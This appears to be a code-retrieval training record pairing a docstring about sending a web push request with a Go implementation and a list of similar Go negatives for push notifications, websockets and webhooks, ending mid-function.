[ "0.86780375", "0.86658245", "0.8523402", "0.8523402", "0.8523402", "0.8523402", "0.8523402", "0.85209435", "0.8520326", "0.8512728", "0.85012895", "0.8499019", "0.84947085", "0.8456424", "0.84359443", "0.84217656", "0.8410235", "0.83798057", "0.83246094", "0.82986814", "0.82985055", "0.8276881", "0.8250099", "0.82468945", "0.8213493", "0.82108235", "0.82007194", "0.8179805", "0.8174605", "0.8143488", "0.81391567", "0.81337595", "0.81099325", "0.8105445", "0.80971676", "0.80971676", "0.80893", "0.80782515", "0.80108464", "0.8002591", "0.79733634", "0.79483795", "0.7936417", "0.7920024", "0.7919012", "0.79049695", "0.7896341", "0.78858185", "0.787301", "0.7870735", "0.7854379", "0.7848354", "0.78433967", "0.78380644", "0.78379023", "0.78220695", "0.7819633", "0.78026897", "0.7762908", "0.7757957", "0.77466804", "0.77097857", "0.7703462", "0.77029353", "0.76996446", "0.76497537", "0.75432605", "0.7540591", "0.74705774", "0.736732", "0.7360836", "0.72638285", "0.72185737", "0.71856135", "0.717908", "0.71680915", "0.7166598", "0.71637547", "0.71476746", "0.7132337", "0.7132337", "0.7132337", "0.713012", "0.7121334", "0.7103453", "0.70931304", "0.70695394", "0.7027738", "0.70221215", "0.70051086", "0.6965079", "0.6964474", "0.6884553", "0.686322", "0.6819238", "0.6794925", "0.67874956", "0.6784608", "0.6784516", "0.6763749" ]
0.8335904
18
Send sends the webpush request with the push subscription.
func (c *PushServiceClient) Send(subscription *pb.PushSubscription, request *pb.WebpushRequest) (*WebpushResponse, error) { content, err := c.encrypt(subscription, request) if err != nil { return nil, err } req, err := http.NewRequest("POST", subscription.Endpoint, bytes.NewReader(content)) if err != nil { return nil, err } req.Header.Add("TTL", "30") req.Header.Add("Content-Encoding", "aes128gcm") subject := "mailto:[email protected]" expiry := time.Now().Add(12 * time.Hour).Unix() addAuthorizationHeader(req, subscription.Endpoint, subject, expiry, c.KeyPair) res, err := c.Client.Do(req) if err != nil { return nil, err } defer res.Body.Close() b, err := ioutil.ReadAll(res.Body) if err != nil { return nil, err } retryAfter, err := parseRetryAfter(time.Now(), &res.Header) if err != nil { // todo } wr := &WebpushResponse{ Status: res.Status, StatusCode: res.StatusCode, Text: string(b), RetryAfter: retryAfter, } return wr, nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func PushToWeb(req PushNotification) bool {\n\tLogAccess.Debug(\"Start push notification for Web\")\n\n\tvar retryCount = 0\n\tvar maxRetry = PushConf.Web.MaxRetry\n\n\tif req.Retry > 0 && req.Retry < maxRetry {\n\t\tmaxRetry = req.Retry\n\t}\n\n\t// check message\n\terr := CheckMessage(req)\n\n\tif err != nil {\n\t\tLogError.Error(\"request error: \" + err.Error())\n\t\treturn false\n\t}\n\n\tvar apiKey = PushConf.Web.APIKey\n\tif req.APIKey != \"\" {\n\t\tapiKey = req.APIKey\n\t}\n\nRetry:\n\tvar isError = false\n\n\tsuccessCount := 0\n\tfailureCount := 0\n\n\tfor _, subscription := range req.Subscriptions {\n\t\tnotification := getWebNotification(req, &subscription)\n\t\tresponse, err := WebClient.Push(notification, apiKey)\n\n\t\tif err != nil {\n\t\t\tisError = true\n\t\t\tfailureCount++\n\t\t\tLogPush(FailedPush, subscription.Endpoint, req, err)\n\t\t\tif PushConf.Core.Sync {\n\t\t\t\tif response == nil {\n\t\t\t\t\treq.AddLog(getLogPushEntry(FailedPush, subscription.Endpoint, req, err))\n\t\t\t\t} else {\n\t\t\t\t\tvar errorText = response.Body\n\t\t\t\t\t/*var browser web.Browser\n\t\t\t\t\tvar found = false\n\t\t\t\t\tfor _, current := range web.Browsers {\n\t\t\t\t\t\tif current.ReDetect.FindString(subscription.Endpoint) != \"\" {\n\t\t\t\t\t\t\tbrowser = current\n\t\t\t\t\t\t\tfound = true\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif found {\n\t\t\t\t\t\tmatch := browser.ReError.FindStringSubmatch(errorText)\n\t\t\t\t\t\tif match != nil && len(match) > 1 && match[1] != \"\" {\n\t\t\t\t\t\t\terrorText = match[1]\n\t\t\t\t\t\t}\n\t\t\t\t\t}*/\n\t\t\t\t\terrorText = strconv.Itoa(response.StatusCode)\n\t\t\t\t\tvar errorObj = errors.New(errorText)\n\t\t\t\t\treq.AddLog(getLogPushEntry(FailedPush, subscription.Endpoint, req, errorObj))\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tisError = false\n\t\t\tsuccessCount++\n\t\t\tLogPush(SucceededPush, subscription.Endpoint, req, nil)\n\t\t}\n\t}\n\n\tLogAccess.Debug(fmt.Sprintf(\"Web Success count: %d, Failure count: %d\", successCount, failureCount))\n\tStatStorage.AddWebSuccess(int64(successCount))\n\tStatStorage.AddWebError(int64(failureCount))\n\n\tif isError && retryCount < maxRetry {\n\t\tretryCount++\n\n\t\tgoto Retry\n\t}\n\n\treturn isError\n}", "func sendPush(apiKey string, name string, url string, newStatus string, oldStatus string) {\n\tlogging.MustGetLogger(\"\").Debug(\"Sending Push about \\\"\" + url + \"\\\"...\")\n\n\tpb := pushbullet.New(apiKey)\n\n\tpush := requests.NewLink()\n\tpush.Title = GetConfiguration().Application.Title + \" - Status Change\"\n\tpush.Body = name + \" went from \\\"\" + oldStatus + \"\\\" to \\\"\" + newStatus + \"\\\".\"\n\tpush.Url = url\n\n\t_, err := pb.PostPushesLink(push)\n\tif err != nil {\n\t\tlogging.MustGetLogger(\"\").Error(\"Unable to send Push: \", err)\n\t}\n}", "func SendWebhook(wh data.WebhookServices, event string, data interface{}) {\n\theaders := make(map[string]string)\n\theaders[\"X-Webhook-Event\"] = event\n\n\tsubscribers, err := wh.AllSubscriptions(event)\n\tif err != nil {\n\t\tlog.Println(\"unable to get webhook subscribers for \", event)\n\t\treturn\n\t}\n\n\tfor _, sub := range subscribers {\n\t\tgo func(sub model.Webhook, headers map[string]string) {\n\t\t\tif err := post(sub.TargetURL, data, nil, headers); err != nil {\n\t\t\t\tlog.Println(\"error calling URL\", sub.TargetURL, err)\n\t\t\t}\n\t\t}(sub, headers)\n\t}\n}", "func (cli *Client) Push(c context.Context, p *Payload) error {\n\treturn cli.do(http.MethodPost, \"/push\", p)\n}", "func (c *client) sendRequest(push *fcm.Message) error {\n\tfcmClient, err := c.getFcmClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\tresp, err := fcmClient.Send(push)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"cannot send a push notification\")\n\t}\n\n\tif resp.Failure > 0 {\n\t\terr := errors.New(\"cannot send a push notification\")\n\t\tfor _, res := range resp.Results {\n\t\t\tif res.Error != nil {\n\t\t\t\terr = errors.Wrap(err, res.Error.Error())\n\t\t\t}\n\t\t}\n\t\treturn err\n\t}\n\n\tif env_mods.IsDebugMode() {\n\t\tc.logger.Info(\n\t\t\t\"firebase response\",\n\t\t\t\"response\",\n\t\t\tresp,\n\t\t)\n\t}\n\n\treturn nil\n}", "func (j *JPush) Push(req *PushRequest) (*PushResponse, error) {\n\turl := j.GetURL(\"push\") + \"push\"\n\tif req.Audience.Aud.File != nil {\n\t\turl += \"/file\"\n\t}\n\tbuf, err := json.Marshal(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := j.request(\"POST\", url, bytes.NewReader(buf), nil)\n\tret := new(PushResponse)\n\terr2 := json.Unmarshal(resp, ret)\n\tif err2 != nil {\n\t\treturn nil, err2\n\t}\n\treturn ret, err\n}", "func PushToHuawei(req *PushNotification, cfg *config.ConfYaml) (resp *ResponsePush, err error) {\n\tlogx.LogAccess.Debug(\"Start push notification for Huawei\")\n\n\tvar (\n\t\tclient *client.HMSClient\n\t\tretryCount = 0\n\t\tmaxRetry = cfg.Huawei.MaxRetry\n\t)\n\n\tif req.Retry > 0 && req.Retry < maxRetry {\n\t\tmaxRetry = req.Retry\n\t}\n\n\t// check message\n\terr = CheckMessage(req)\n\tif err != nil {\n\t\tlogx.LogError.Error(\"request error: \" + err.Error())\n\t\treturn nil, err\n\t}\n\n\tclient, err = InitHMSClient(cfg, cfg.Huawei.AppSecret, cfg.Huawei.AppID)\n\n\tif err != nil {\n\t\t// HMS server error\n\t\tlogx.LogError.Error(\"HMS server error: \" + err.Error())\n\t\treturn nil, err\n\t}\n\n\tresp = &ResponsePush{}\n\nRetry:\n\tisError := false\n\n\tnotification, _ := GetHuaweiNotification(req)\n\n\tres, err := client.SendMessage(context.Background(), notification)\n\tif err != nil {\n\t\t// Send Message error\n\t\terrLog := logPush(cfg, core.FailedPush, req.To, req, err)\n\t\tresp.Logs = append(resp.Logs, errLog)\n\t\tlogx.LogError.Error(\"HMS server send message error: \" + err.Error())\n\t\treturn resp, err\n\t}\n\n\t// Huawei Push Send API does not support exact results for each token\n\tif res.Code == \"80000000\" {\n\t\tstatus.StatStorage.AddHuaweiSuccess(int64(1))\n\t\tlogx.LogAccess.Debug(\"Huwaei Send Notification is completed successfully!\")\n\t} else {\n\t\tisError = true\n\t\tstatus.StatStorage.AddHuaweiError(int64(1))\n\t\tlogx.LogAccess.Debug(\"Huawei Send Notification is failed! Code: \" + res.Code)\n\t}\n\n\tif isError && retryCount < maxRetry {\n\t\tretryCount++\n\n\t\t// resend all tokens\n\t\tgoto Retry\n\t}\n\n\treturn resp, nil\n}", "func (s UniqushSubscriber) Push(message string) (response string, err error) {\n\n\tendpointUrl := fmt.Sprintf(\"%s/push\", s.UniqushService.UniqushClient.UniqushURL)\n\tformValues := url.Values{\n\t\t\"service\": {s.UniqushService.Name},\n\t\t\"subscriber\": {s.Name},\n\t\t\"msg\": {message},\n\t}\n\n\tresp, err := http.PostForm(endpointUrl, formValues)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error in form POST sending push to: %+v. Error: %v\", s, err)\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Error reaading response body sending push to: %+v. Error: %v\", s, err)\n\t}\n\n\treturn string(body), nil\n\n}", "func (t *Client) SendPushNotification(title, msg string) (int, error) {\n\treq := graphql.NewRequest(`\n\t\tmutation sendPushNotification($input: PushNotificationInput!){\n\t\t\tsendPushNotification(input: $input){\n\t\t \t\tsuccessful\n\t\t \t\tpushedToNumberOfDevices\n\t\t\t}\n\t }`)\n\tinput := PushInput{\n\t\tTitle: title,\n\t\tMessage: msg,\n\t\tScreenToOpen: \"CONSUMPTION\",\n\t}\n\treq.Var(\"input\", input)\n\treq.Header.Set(\"Cache-Control\", \"no-cache\")\n\treq.Header.Set(\"Authorization\", \"Bearer \"+t.Token)\n\tctx := context.Background()\n\t//ctx, _ := context.WithTimeout(context.Background(), time.Second*2)\n\tvar result PushResponse\n\tif err := t.gqlClient.Run(ctx, req, &result); err != nil {\n\t\tlog.Error(err)\n\t\treturn 0, err\n\t}\n\treturn result.SendPushNotification.PushedToNumberOfDevices, nil\n}", "func send(username string, text string, ws *websocket.Conn) {\n\tm := Message{\n\t\tUsername: username,\n\t\tText: text,\n\t}\n\terr := websocket.JSON.Send(ws, m)\n\tif err != nil {\n\t\tfmt.Println(\"Could not send message: \", err.Error())\n\t}\n}", "func SyncPush(w http.ResponseWriter, req *http.Request) {\n\tqueryString := req.URL.Query()\n\tuid := queryString.Get(\"uid\")\n\n\tdata, err := ioutil.ReadAll(req.Body)\n\tif err != nil {\n\t\thttp.Error(w, \"bad request\", http.StatusBadRequest)\n\t\treturn\n\t}\n\tgo PushMessage(uid, data)\n\n\tif DEBUG {\n\t\t// echo\n\t\tw.Write(data)\n\t}\n}", "func (s *SlackNotify) Send(v ...interface{}) error {\n\tif s.URL == \"\" {\n\t\treturn nil\n\t}\n\tpayload, err := json.Marshal(slackMsg{Text: fmt.Sprint(s.prefix, v)})\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, _ := http.NewRequest(\"POST\", s.URL, bytes.NewBuffer(payload))\n\treq.Header.Add(\"content-type\", \"application/json\")\n\tres, err := s.c.Do(req)\n\tdefer res.Body.Close()\n\tif res.StatusCode != 200 {\n\t\treturn fmt.Errorf(\"Error posting to slack\")\n\t}\n\treturn nil\n}", "func (h *wsHub) send(message []byte) {\n\th.broadcast <- message\n}", "func (c *Coordinator) doPush(resp *http.Response, origRequest *http.Request, ws *websocket.Conn) error {\n\tresp.Header.Set(\"id\", origRequest.Header.Get(\"id\")) // Link the request and response\n\t// Remaining scrape deadline.\n\tdeadline, _ := origRequest.Context().Deadline()\n\tresp.Header.Set(\"X-Prometheus-Scrape-Timeout\", fmt.Sprintf(\"%f\", float64(time.Until(deadline))/1e9))\n\n\tbuf := &bytes.Buffer{}\n\tresp.Write(buf)\n\tencoded := base64.StdEncoding.EncodeToString(buf.Bytes())\n\tmsg := util.SocketMessage{\n\t\tType: util.Response,\n\t\tPayload: map[string]string{\n\t\t\t\"response\": encoded,\n\t\t},\n\t}\n\n\terr := websocket.JSON.Send(ws, msg)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (gs *GRPCClient) SendPush(userID string, frontendSv *Server, push *protos.Push) error {\n\tvar svID string\n\tvar err error\n\tif frontendSv.ID != \"\" {\n\t\tsvID = frontendSv.ID\n\t} else {\n\t\tif gs.bindingStorage == nil {\n\t\t\treturn constants.ErrNoBindingStorageModule\n\t\t}\n\t\tsvID, err = gs.bindingStorage.GetUserFrontendID(userID, frontendSv.Type)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif c, ok := gs.clientMap.Load(svID); ok {\n\t\tctxT, done := context.WithTimeout(context.Background(), gs.reqTimeout)\n\t\tdefer done()\n\t\terr := c.(*grpcClient).pushToUser(ctxT, push)\n\t\treturn err\n\t}\n\treturn constants.ErrNoConnectionToServer\n}", "func SendPushNotification(userID uint32, p PushNotification) error {\n\n\tvar l = logger.WithFields(logrus.Fields{\n\t\t\"method\": \"Sending push notification\",\n\t\t\"param_data\": p,\n\t\t\"param_user_id\": userID,\n\t})\n\n\tl.Infof(\"Sending push notifications to the users\")\n\n\tdb := getDB()\n\n\tif p.LogoUrl == \"\" {\n\t\tp.LogoUrl = fmt.Sprintf(\"/public/src/images/dalalfavicon.png\")\n\t}\n\n\tvar subscriptions []UserSubscription\n\n\tif userID == 0 {\n\t\t// broadcast notif\n\t\tl.Infof(\"A broadcast notification was requested\")\n\t\tif err := db.Table(\"UserSubscription\").Find(&subscriptions).Error; err != nil {\n\t\t\tl.Errorf(\"Error while finding the user subscription, %+v\", err)\n\t\t\treturn err\n\t\t}\n\t\tl.Debugf(\"Found a total of %v subscriptions were found\", len(subscriptions))\n\t} else {\n\t\t// single notif\n\t\tl.Infof(\"Notification for a specific user was requested\")\n\t\tif err := db.Table(\"UserSubscription\").Where(\"userId = ?\", userID).Find(&subscriptions).Error; err != nil {\n\t\t\tl.Errorf(\"Error while finding the user subscription, %+v\", err)\n\t\t\treturn err\n\t\t}\n\t\tl.Debugf(\"Found a total of %v subscriptions for the user\", len(subscriptions))\n\t}\n\n\tfor i, sub := range subscriptions {\n\t\tl.Debugf(\"Sending notif to the %v-th subscription, %+v\", i, sub)\n\t\tmessage, err := json.Marshal(p)\n\t\tif err != nil {\n\t\t\tl.Errorf(\"Error while marshalling payload, %+v . Error, %+v\", p, err)\n\t\t}\n\t\tresp, err := sendPushNotification(message, &sub, &options{\n\t\t\tSubscriber: config.PushNotificationEmail,\n\t\t\tVAPIDPublicKey: config.PushNotificationVAPIDPublicKey,\n\t\t\tVAPIDPrivateKey: config.PushNotificationVAPIDPrivateKey,\n\t\t})\n\t\tif err != nil {\n\t\t\tl.Errorf(\"Couldn't send notification to the subscription, %+v. Error : %+v\", sub, err)\n\t\t}\n\t\tdefer resp.Body.Close()\n\t}\n\tl.Infof(\"Successfully sent push notification to the user\")\n\n\treturn nil\n}", "func publish(r *http.Request) {\n\tr.ParseForm()\n\tmessage := r.Form.Get(\"message\")\n\thubURL := r.Form.Get(\"hub.url\")\n\tmessageJSON := []byte(`{\"message\":\"` + message + `\"}`)\n\n\tfor cb, sub := range subscriptions {\n\t\tif sub.topic == hubURL {\n\t\t\tsignature := encryptHMAC(messageJSON, sub.secret)\n\t\t\treq, err := http.NewRequest(\"POST\", cb, bytes.NewBuffer(messageJSON))\n\t\t\treq.Header.Set(\"X-Hub-Signature\", \"sha256=\"+signature)\n\t\t\treq.Header.Set(\"Content-Type\", \"application/json\")\n\n\t\t\tclient := &http.Client{}\n\t\t\tresp, err := client.Do(req)\n\t\t\tif err != nil {\n\t\t\t\tfmt.Println(\"client: \"+cb, err)\n\t\t\t\tfmt.Println(\"client: \", resp.Status)\n\t\t\t}\n\t\t\tdefer resp.Body.Close()\n\t\t}\n\t}\n}", "func SubModPush(w http.ResponseWriter, r *http.Request) {\n\n\t// Init output\n\toutput := []byte(\"\")\n\n\t// Add content type header to the response\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Grab url path variables\n\turlVars := mux.Vars(r)\n\tsubName := urlVars[\"subscription\"]\n\n\t// Get project UUID First to use as reference\n\tprojectUUID := gorillaContext.Get(r, \"auth_project_uuid\").(string)\n\n\t// Grab context references\n\trefStr := gorillaContext.Get(r, \"str\").(stores.Store)\n\n\t// Read POST JSON body\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\terr := APIErrorInvalidRequestBody()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// Parse pull options\n\tpostBody, err := subscriptions.GetFromJSON(body)\n\tif err != nil {\n\t\tAPIErrorInvalidArgument(\"Subscription\")\n\t\tlog.Error(string(body[:]))\n\t\treturn\n\t}\n\n\tpushEnd := \"\"\n\trPolicy := \"\"\n\trPeriod := 0\n\tvhash := \"\"\n\tverified := false\n\tmaxMessages := int64(0)\n\tpushWorker := auth.User{}\n\tpwToken := gorillaContext.Get(r, \"push_worker_token\").(string)\n\n\tif postBody.PushCfg != (subscriptions.PushConfig{}) {\n\n\t\tpushEnabled := gorillaContext.Get(r, \"push_enabled\").(bool)\n\n\t\t// check the state of the push functionality\n\t\tif !pushEnabled {\n\t\t\terr := APIErrorPushConflict()\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tpushWorker, err = auth.GetPushWorker(pwToken, refStr)\n\t\tif err != nil {\n\t\t\terr := APIErrInternalPush()\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\n\t\tpushEnd = postBody.PushCfg.Pend\n\t\t// Check if push endpoint is not a valid https:// endpoint\n\t\tif !(isValidHTTPS(pushEnd)) {\n\t\t\terr := APIErrorInvalidData(\"Push endpoint should be addressed by a valid https url\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\t\trPolicy = postBody.PushCfg.RetPol.PolicyType\n\t\trPeriod = postBody.PushCfg.RetPol.Period\n\t\tmaxMessages = postBody.PushCfg.MaxMessages\n\n\t\tif rPolicy == \"\" {\n\t\t\trPolicy = subscriptions.LinearRetryPolicyType\n\t\t}\n\t\tif rPeriod <= 0 {\n\t\t\trPeriod = 3000\n\t\t}\n\n\t\tif !subscriptions.IsRetryPolicySupported(rPolicy) {\n\t\t\terr := APIErrorInvalidData(subscriptions.UnSupportedRetryPolicyError)\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Get Result Object\n\tres, err := subscriptions.Find(projectUUID, \"\", subName, \"\", 0, refStr)\n\n\tif err != nil {\n\t\terr := APIErrGenericBackend()\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\tif res.Empty() {\n\t\terr := APIErrorNotFound(\"Subscription\")\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\texistingSub := res.Subscriptions[0]\n\n\tif maxMessages == 0 {\n\t\tif existingSub.PushCfg.MaxMessages == 0 {\n\t\t\tmaxMessages = int64(1)\n\t\t} else {\n\t\t\tmaxMessages = existingSub.PushCfg.MaxMessages\n\t\t}\n\t}\n\n\t// if the request wants to transform a pull subscription to a push one\n\t// we need to begin the verification process\n\tif postBody.PushCfg != (subscriptions.PushConfig{}) {\n\n\t\t// if the endpoint in not the same with the old one, we need to verify it again\n\t\tif postBody.PushCfg.Pend != existingSub.PushCfg.Pend {\n\t\t\tvhash, err = auth.GenToken()\n\t\t\tif err != nil {\n\t\t\t\tlog.Errorf(\"Could not generate verification hash for subscription %v, %v\", urlVars[\"subscription\"], err.Error())\n\t\t\t\terr := APIErrGenericInternal(\"Could not generate verification hash\")\n\t\t\t\trespondErr(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t\t// else keep the already existing data\n\t\t} else {\n\t\t\tvhash = existingSub.PushCfg.VerificationHash\n\t\t\tverified = existingSub.PushCfg.Verified\n\t\t}\n\t}\n\n\terr = subscriptions.ModSubPush(projectUUID, subName, pushEnd, maxMessages, rPolicy, rPeriod, vhash, verified, refStr)\n\n\tif err != nil {\n\t\tif err.Error() == \"not found\" {\n\t\t\terr := APIErrorNotFound(\"Subscription\")\n\t\t\trespondErr(w, err)\n\t\t\treturn\n\t\t}\n\t\terr := APIErrGenericInternal(err.Error())\n\t\trespondErr(w, err)\n\t\treturn\n\t}\n\n\t// if this is an deactivate request, try to retrieve the push worker in order to remove him from the sub's acl\n\tif existingSub.PushCfg != (subscriptions.PushConfig{}) && postBody.PushCfg == (subscriptions.PushConfig{}) {\n\t\tpushWorker, _ = auth.GetPushWorker(pwToken, refStr)\n\t}\n\n\t// if the sub, was push enabled before the update and the endpoint was verified\n\t// we need to deactivate it on the push server\n\tif existingSub.PushCfg != (subscriptions.PushConfig{}) {\n\t\tif existingSub.PushCfg.Verified {\n\t\t\t// deactivate the subscription on the push backend\n\t\t\tapsc := gorillaContext.Get(r, \"apsc\").(push.Client)\n\t\t\tapsc.DeactivateSubscription(context.TODO(), existingSub.FullName)\n\n\t\t\t// remove the push worker user from the sub's acl\n\t\t\terr = auth.RemoveFromACL(projectUUID, \"subscriptions\", existingSub.Name, []string{pushWorker.Name}, refStr)\n\t\t\tif err != nil {\n\t\t\t\terr := APIErrGenericInternal(err.Error())\n\t\t\t\trespondErr(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\t// if the update on push configuration is not intended to stop the push functionality\n\t// activate the subscription with the new values\n\tif postBody.PushCfg != (subscriptions.PushConfig{}) {\n\n\t\t// reactivate only if the push endpoint hasn't changed and it wes already verified\n\t\t// otherwise we need to verify the ownership again before wee activate it\n\t\tif postBody.PushCfg.Pend == existingSub.PushCfg.Pend && existingSub.PushCfg.Verified {\n\n\t\t\t// activate the subscription on the push backend\n\t\t\tapsc := gorillaContext.Get(r, \"apsc\").(push.Client)\n\t\t\tapsc.ActivateSubscription(context.TODO(), existingSub.FullName, existingSub.FullTopic,\n\t\t\t\tpushEnd, rPolicy, uint32(rPeriod), maxMessages)\n\n\t\t\t// modify the sub's acl with the push worker's uuid\n\t\t\terr = auth.AppendToACL(projectUUID, \"subscriptions\", existingSub.Name, []string{pushWorker.Name}, refStr)\n\t\t\tif err != nil {\n\t\t\t\terr := APIErrGenericInternal(err.Error())\n\t\t\t\trespondErr(w, err)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\t// link the sub's project with the push worker\n\t\t\terr = auth.AppendToUserProjects(pushWorker.UUID, projectUUID, refStr)\n\t\t\tif err != nil {\n\t\t\t\terr := APIErrGenericInternal(err.Error())\n\t\t\t\trespondErr(w, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\t// Write empty response if everything's ok\n\trespondOK(w, output)\n}", "func (c *Client) send(ctx context.Context, message map[string]interface{}) error {\n\tc.Lock()\n\tmessage[\"id\"] = c.nextID\n\tc.nextID++\n\tc.Unlock()\n\terr := make(chan error, 1)\n\tgo func() { err <- websocket.JSON.Send(c.webSock, message) }()\n\tselect {\n\tcase <-ctx.Done():\n\t\treturn ctx.Err()\n\tcase err := <-err:\n\t\treturn err\n\t}\n}", "func (c *Client) Send(command Payload) error {\n\tb, err := json.Marshal(command)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tws, err := c.getConnection()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn websocket.Message.Send(ws, string(b))\n}", "func Send(WebhookURL string, message *Message) error {\n\treturn (&Client{WebhookURL: WebhookURL}).Send(message)\n}", "func (p *Publisher) Send(ctx context.Context, event cloudevents.Event) error {\n\tmarshal, err := json.Marshal(event)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn p.natsConnection.Publish(event.Type(), marshal)\n}", "func (dc *channel) Send(message notification.Message) error {\n\tclient := resty.New()\n\t_, err := client.R().\n\t\tSetHeader(\"Content-Type\", \"application/json\").\n\t\tSetBody(map[string]string{\"content\": message.Body}).\n\t\tPost(dc.Webhook)\n\treturn err\n}", "func (conn *WSConnection) Send(p *proto.Packet) error {\n\treturn conn.conn.WriteJSON(p)\n}", "func (c *Change) Send() error {\n\t_, err := c.hub.Put(c.path, c.params, nil)\n\treturn err\n}", "func (s *SubscribeServerStream) Send(v *chatter.Event) error {\n\tvar err error\n\t// Upgrade the HTTP connection to a websocket connection only once. Connection\n\t// upgrade is done here so that authorization logic in the endpoint is executed\n\t// before calling the actual service method which may call Send().\n\ts.once.Do(func() {\n\t\tvar conn *websocket.Conn\n\t\tconn, err = s.upgrader.Upgrade(s.w, s.r, nil)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t\tif s.configurer != nil {\n\t\t\tconn = s.configurer(conn, s.cancel)\n\t\t}\n\t\ts.conn = conn\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\tres := v\n\tbody := NewSubscribeResponseBody(res)\n\treturn s.conn.WriteJSON(body)\n}", "func (c *WSConn) Send(data []byte) {\n\tc.sendq <- data\n}", "func (m *PushOver) Send(title, msg string) {\n\tmessage := pushover.NewMessageWithTitle(msg, title)\n\tmessage.DeviceName = m.device\n\n\tfor _, id := range m.recipients {\n\t\tgo func(id string) {\n\t\t\tm.log.DEBUG.Printf(\"sending to %s\", id)\n\n\t\t\trecipient := pushover.NewRecipient(id)\n\t\t\tif _, err := m.app.SendMessage(message, recipient); err != nil {\n\t\t\t\tm.log.ERROR.Print(err)\n\t\t\t}\n\t\t}(id)\n\t}\n}", "func (s *Socket) send(endpoint string, request interface{}) error {\n\n\tvar err error\n\tif nil == s.Conn {\n\t\tlog.Debug(\"Dialing %s.\", endpoint)\n\t\ts.Conn, err = websocket.Dial(endpoint, \"\", s.Origin)\n\t\tif nil != err || nil == request {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif err := websocket.JSON.Send(s.Conn, request); nil != err {\n\t\ts.close()\n\t\treturn err\n\t}\n\n\treturn nil\n\n}", "func (c *Client) Send(webhookURL string, webhookMessage MessageCard) error {\n\t// Validate input data\n\tif valid, err := IsValidInput(webhookMessage, webhookURL); !valid {\n\t\treturn err\n\t}\n\n\t// make new request\n\treq, err := c.newRequest(context.Background(), http.MethodPost, webhookURL, webhookMessage)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error in creating request, %s\", err)\n\t}\n\n\t// do the request\n\terr = c.doRequest(req, nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (s *Client) Send(send *params.Send) (client.Response, error) {\n\treturn s.c.Post(send.GetEndpoint(), send)\n}", "func (w *BaseWebsocketClient) Send(msg base.MoneysocketMessage) error {\n\tif w.getConnection() == nil {\n\t\treturn errors.New(\"not currently connected\")\n\t}\n\tres, err := message.WireEncode(msg, w.SharedSeed())\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn w.SendBin(res)\n}", "func (w Wallet) Send(to string, amount uint, utxoSetPath string) error {\n\treturn nil\n}", "func (c *Client) Send(message *Message) error {\n\tif message == nil {\n\t\treturn xerrors.New(\"message is nil\")\n\t}\n\tvar b bytes.Buffer\n\tif err := json.NewEncoder(&b).Encode(message); err != nil {\n\t\treturn xerrors.Errorf(\"could not encode the message to JSON: %w\", err)\n\t}\n\thc := c.HTTPClient\n\tif hc == nil {\n\t\thc = http.DefaultClient\n\t}\n\tresp, err := hc.Post(c.WebhookURL, \"application/json\", &b)\n\tif err != nil {\n\t\treturn xerrors.Errorf(\"could not send the request: %w\", err)\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode >= 300 {\n\t\tb, _ := ioutil.ReadAll(resp.Body)\n\t\treturn xerrors.Errorf(\"error from Slack API: %w\", &slackError{\n\t\t\tstatusCode: resp.StatusCode,\n\t\t\tbody: string(b),\n\t\t})\n\t}\n\treturn nil\n}", "func (h *wsHub) Send(message []byte) {\n\th.broadcast <- message\n}", "func (s *HttpSender) Send(ctx context.Context, msgs PushMsgs, format pushMessageFormat) error {\n\n\tvar msgB []byte\n\tvar err error\n\n\tif format == SingleMessageFormat {\n\t\tmsgB, err = json.Marshal(msgs.Messages[0])\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t} else if format == MultipleMessageFormat {\n\t\tmsgB, err = json.Marshal(msgs)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treq, err := http.NewRequestWithContext(ctx, http.MethodPost, s.endpoint, bytes.NewBuffer(msgB))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treq.Header.Set(\"Content-Type\", ApplicationJson)\n\tif s.authZHeader != \"\" {\n\t\treq.Header.Set(\"Authorization\", s.authZHeader)\n\t}\n\n\tlog.WithFields(\n\t\tlog.Fields{\n\t\t\t\"type\": \"service_log\",\n\t\t\t\"message(s)\": msgs,\n\t\t\t\"destination\": 